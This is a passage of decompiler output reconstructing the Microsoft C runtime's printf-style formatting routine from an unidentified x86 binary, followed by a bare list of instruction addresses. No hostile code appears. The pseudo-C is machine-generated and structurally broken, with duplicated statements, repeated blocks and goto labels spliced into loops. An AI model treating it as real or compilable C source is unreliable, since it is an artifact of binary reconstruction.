																				 *(__ebp - 0x20) = L0041B540(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AAD0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0x2c9cf96e
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xac9cf9bd
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xac9cf9c2
																					E00424340(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428150(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428190(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E00434010(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00428150(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00428150(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00428150(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00428150(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428170(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428170(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00428150(__ebp + 0x14);
																	__eax = E00433CF0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E000();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																		__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AAA0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428150(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428170(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428170(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428150(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428170(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428170(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L0041E000();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422AF0(_t618))) = 0x16;
														E00422880(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E0041AAA0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E0042BAA0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L0041E000();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E0041AAA0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00422AF0(_t605))) = 0x16;
													E00422880(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E0041AAA0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E00430570(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E004305F0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x00434dcc
0x00434dcc
0x00434dcc
0x00434dcc
0x00434dcc
0x00434dcc
0x00434dcc
0x00434ddc
0x00434dde
0x00434de1
0x00434de1
0x00434de7
0x00434de7
0x00434dea
0x00434dea
0x00434ded
0x00434df2
0x00434e14
0x00434e14
0x00434e1a
0x00434e3c
0x00434e3f
0x00434e86
0x00434e86
0x00434e89
0x00434eaa
0x00434eaf
0x00434eb2
0x00434eb4
0x00434eba
0x00434e8b
0x00434e8f
0x00434e94
0x00434e97
0x00434e98
0x00434e9e
0x00434e9e
0x00434e41
0x00434e44
0x00434e44
0x00434e47
0x00434e69
0x00434e6e
0x00434e74
0x00434e75
0x00434e7b
0x00434e49
0x00434e4d
0x00434e52
0x00434e56
0x00434e57
0x00434e5d
0x00434e5d
0x00434e81
0x00434e1c
0x00434e20
0x00434e25
0x00434e28
0x00434e2e
0x00434e2e
0x00434df4
0x00434df8
0x00434dfd
0x00434e00
0x00434e06
0x00434e06
0x00434ec3
0x00434ec6
0x00000000
0x00000000
0x00434ec8
0x00434ec8
0x00434ecf
0x00000000
0x00000000
0x00434ed1
0x00434ed1
0x00434edc
0x00434eea
0x00434eef
0x00434ef5
0x00434f03
0x00434f20
0x00434f23
0x00434f28
0x00434f2d
0x00434f33
0x00434f41
0x00434f41
0x00434f4a
0x00434f4a
0x00434f33
0x00434f50
0x00434f54
0x00434f65
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f56
0x00434f56
0x00434f56
0x00434f7e
0x00434f84
0x00434f86
0x00434f86
0x00434f90
0x00434f93
0x00434f93
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa1
0x00000000
0x00000000
0x00434fa3
0x00434fa9
0x00434faf
0x0043502c
0x00435032
0x0043503b
0x00435041
0x00435047
0x00435072
0x00435072
0x00435072
0x00435076
0x00000000
0x00000000
0x0043507c
0x0043507f
0x00435082
0x00435087
0x0043508c
0x0043509e
0x004350a1
0x004350b3
0x004350b6
0x004350b8
0x004350bc
0x004350bc
0x004350a3
0x004350a3
0x004350a7
0x004350a7
0x0043508e
0x0043508e
0x00435092
0x00435092
0x0043508c
0x004350cc
0x004350d5
0x004350d8
0x004350ee
0x004350f3
0x004350f3
0x00435109
0x0043510e
0x00435114
0x00435117
0x0043511c
0x0043511f
0x00435135
0x0043513a
0x0043513a
0x0043511f
0x0043513d
0x00435141
0x00435215
0x00435228
0x0043522d
0x00000000
0x00435147
0x00435147
0x00435147
0x0043514b
0x00000000
0x00000000
0x00435151
0x00435151
0x0043515e
0x00435167
0x0043516d
0x0043516d
0x0043517c
0x00435182
0x00435184
0x00000000
0x00000000
0x0043518a
0x00435193
0x004351b2
0x004351b7
0x004351ba
0x004351c9
0x004351cf
0x004351d6
0x004351e1
0x004351e1
0x00000000
0x004351e1
0x004351d8
0x004351d8
0x004351df
0x004351ed
0x00435206
0x0043520b
0x00000000
0x0043520b
0x00000000
0x004351df
0x00435213
0x00435230
0x00435230
0x00435237
0x0043523c
0x0043523f
0x00435255
0x0043525a
0x0043525a
0x0043523f
0x00435237
0x0043525d
0x0043525d
0x00435261
0x00435269
0x0043526e
0x00435271
0x00435271
0x00435278
0x00435278
0x0043434f
0x00434355
0x00434362
0x00434367
0x00000000
0x0043437a
0x00434384
0x004343ab
0x00434392
0x004343a3
0x004343a3
0x00434384
0x004343b5
0x004343bb
0x004343c7
0x004343ca
0x004343d8
0x004343db
0x004343e8
0x0043448d
0x00434493
0x00434499
0x004344a0
0x00000000
0x00000000
0x004344a6
0x004344ac
0x00000000
0x004344b3
0x004344b3
0x004344cb
0x004344d0
0x004344d3
0x004344d5
0x0043458f
0x004345a2
0x004345a7
0x00000000
0x004344db
0x004344ee
0x004344f3
0x004344f9
0x004344fb
0x00434504
0x00434504
0x00434507
0x00434513
0x00434517
0x0043451d
0x0043451f
0x00434524
0x00434526
0x0043452b
0x00434530
0x00434532
0x00434537
0x0043453a
0x0043453d
0x0043453f
0x0043453f
0x0043453d
0x00434540
0x00434540
0x00434547
0x00000000
0x00434549
0x0043454e
0x0043456a
0x00434572
0x0043457f
0x00434584
0x00000000
0x00434584
0x00434547
0x00000000
0x004345af
0x004345af
0x004345b6
0x004345b9
0x004345bc
0x004345bf
0x004345c2
0x004345c5
0x004345c8
0x004345cf
0x004345d6
0x00000000
0x00000000
0x004345e2
0x004345e2
0x004345e9
0x004345f5
0x004345f8
0x004345fe
0x00434605
0x00000000
0x00000000
0x00434607
0x00434607
0x0043460d
0x0043460d
0x00434614
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434657
0x00434657
0x0043465e
0x00434661
0x0043468b
0x0043468e
0x0043468e
0x00434691
0x00434698
0x00434698
0x0043469c
0x00434663
0x00434663
0x0043466f
0x00434672
0x00434676
0x00434678
0x0043467b
0x0043467b
0x0043467e
0x00434684
0x00434686
0x00434686
0x00434689
0x00000000
0x00000000
0x004346a4
0x004346a4
0x00000000
0x00000000
0x004346b0
0x004346b0
0x004346b7
0x004346ba
0x004346da
0x004346dd
0x004346dd
0x004346e7
0x004346e7
0x004346eb
0x004346bc
0x004346bc
0x004346c8
0x004346cb
0x004346cf
0x004346d1
0x004346d1
0x004346d8
0x00000000
0x00000000
0x004346f3
0x004346f3
0x004346fa
0x00434706
0x00434709
0x0043470f
0x00434716
0x00434829
0x00000000
0x00434829
0x0043471c
0x0043471c
0x00434722
0x00434722
0x00434729
0x00000000
0x0043475f
0x0043475f
0x00434762
0x00434765
0x00434768
0x00434790
0x00434790
0x00434793
0x00434796
0x00434799
0x004347be
0x004347be
0x004347c1
0x004347c4
0x004347c7
0x00434800
0x00434811
0x00000000
0x00434811
0x004347c9
0x004347c9
0x004347cc
0x004347cf
0x004347d2
0x00000000
0x00000000
0x004347d4
0x004347d4
0x004347d7
0x004347da
0x004347dd
0x00000000
0x00000000
0x004347df
0x004347df
0x004347e2
0x004347e5
0x004347e8
0x00000000
0x00000000
0x004347ea
0x004347ea
0x004347ed
0x004347f0
0x004347f3
0x00000000
0x00000000
0x004347f5
0x004347f5
